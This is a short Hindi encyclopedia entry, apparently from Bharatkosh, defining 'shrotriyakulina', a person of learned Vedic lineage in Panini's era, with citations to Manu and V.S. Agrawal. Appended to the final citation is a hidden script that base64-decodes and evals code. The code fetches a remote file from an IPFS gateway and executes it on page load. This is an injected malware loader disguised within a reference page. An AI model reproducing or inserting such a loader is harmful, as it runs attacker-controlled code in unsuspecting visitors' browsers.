श्रोत्रियकुलीन
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श्रोत्रियकुलीन पाणिनिकालीन भारतवर्ष में प्रचलित एक संज्ञा थी।
- काशिका के अनुसार श्रोत्रिय कुल में उत्पन्न व्यक्ति की संज्ञा श्रोत्रियकुलीन थी। मनु ने बताया कि किस प्रकार विवाह, वेदाभ्यास, यज्ञ - इन 3 उपायों से कुलों की प्रतिष्ठा बढ़कर महाकुल जैसी हो जाती थी।[1][2]
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टीका टिप्पणी और संदर्भ
- ↑ मनु 3/ 63; 66; 184-185
- ↑ पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 109 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>